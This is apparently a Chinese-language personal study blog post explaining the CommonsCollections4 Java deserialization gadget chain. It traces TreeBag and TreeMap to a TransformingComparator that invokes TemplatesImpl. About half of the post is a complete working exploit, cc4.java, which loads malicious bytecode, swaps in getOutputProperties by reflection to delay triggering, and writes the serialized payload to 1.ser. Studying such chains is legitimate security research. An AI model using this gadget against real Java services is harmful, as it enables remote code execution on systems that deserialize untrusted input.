和cc2差异不大,那么这次学习一下其它的利用。
TreeBag & TreeMap
在 CC2 中,使用了优先级队列 PriorityQueue 反序列化时会调用 comparator 的 compare 方法的特性,配合 TransformingComparator 触发 transformer。
除了 PriorityQueue,还能否找到其他的提供排序的类,在反序列化时会调用到比较器呢?于是找到了 TreeBag。
探究一下过程
首先看一下TreeBag的readObject方法,发现它其中使用了doReadObject并且传入了一个TreeMap对象
那么我们继续跟进doReadOject,发现这里会使用map的put方法,因为传入的是TreeMap,于是进入TreeMap的put方法
进入TreeMap,发现它的put方法会调用compare方法,继续跟进
其中compare方法
到这我们就可以想到使用TransformingComparator了
先回顾一下PriorityQueue的利用,我们通过修改它的comparator为TransformingComparator
但是我们可以看到TreeBag中没有定义好的comparator
但是在后续调用中的TreeMap会使用comparator,那么我们构造payload的思路就是:
在建立TreeBag的时候我们加入一个能执行恶意命令的comparator,里面放着TemplatesImpl字节码对象,但如果这时我们直接调用getOutputProperties或者newInstance的话,那么在构造payload的时候就会触发执行,那这样就不符合我们的预期了,那么我们可以在触发之前先不使用这两个函数,可以使用一个过程方法例如toString()【因为这个方法是public方法且是Object对象,那么任意方法都可以使用】,然后在最后将toString替换成触发函数,然后在反序列化的时候从而触发命令。
cc4.java
import org.apache.commons.collections4.bag.TreeBag;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.*;
import java.lang.reflect.Field;
public class cc4 {
public static void main(String[] args) throws Exception {
FileInputStream inputFromFile = new FileInputStream("/Users/zyer/Downloads/untitled/out/production/untitled/Exp2.class");
byte[] bs = new byte[inputFromFile.available()];
inputFromFile.read(bs);
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{bs});
setFieldValue(obj, "_name", "zyer");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
Transformer transformer = new InvokerTransformer("toString", new Class[]{}, new Object[]{});
TransformingComparator comparator = new TransformingComparator(transformer);
TreeBag treeBag = new TreeBag(comparator);
treeBag.add(obj);
Field field = InvokerTransformer.class.getDeclaredField("iMethodName");
field.setAccessible(true);
field.set(transformer,"getOutputProperties");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("1.ser"));
objectOutputStream.writeObject(treeBag);
objectOutputStream.close();
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("1.ser"));
objectInputStream.readObject();
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}
现在利用的还是读取文件的方式,等后续会学习javassist直接写入恶意的class文件
最近搞毕业和一些工作的事情搞的没有时间学习,最近需要重新调整一下,要不然又变回小菜鸡了。。。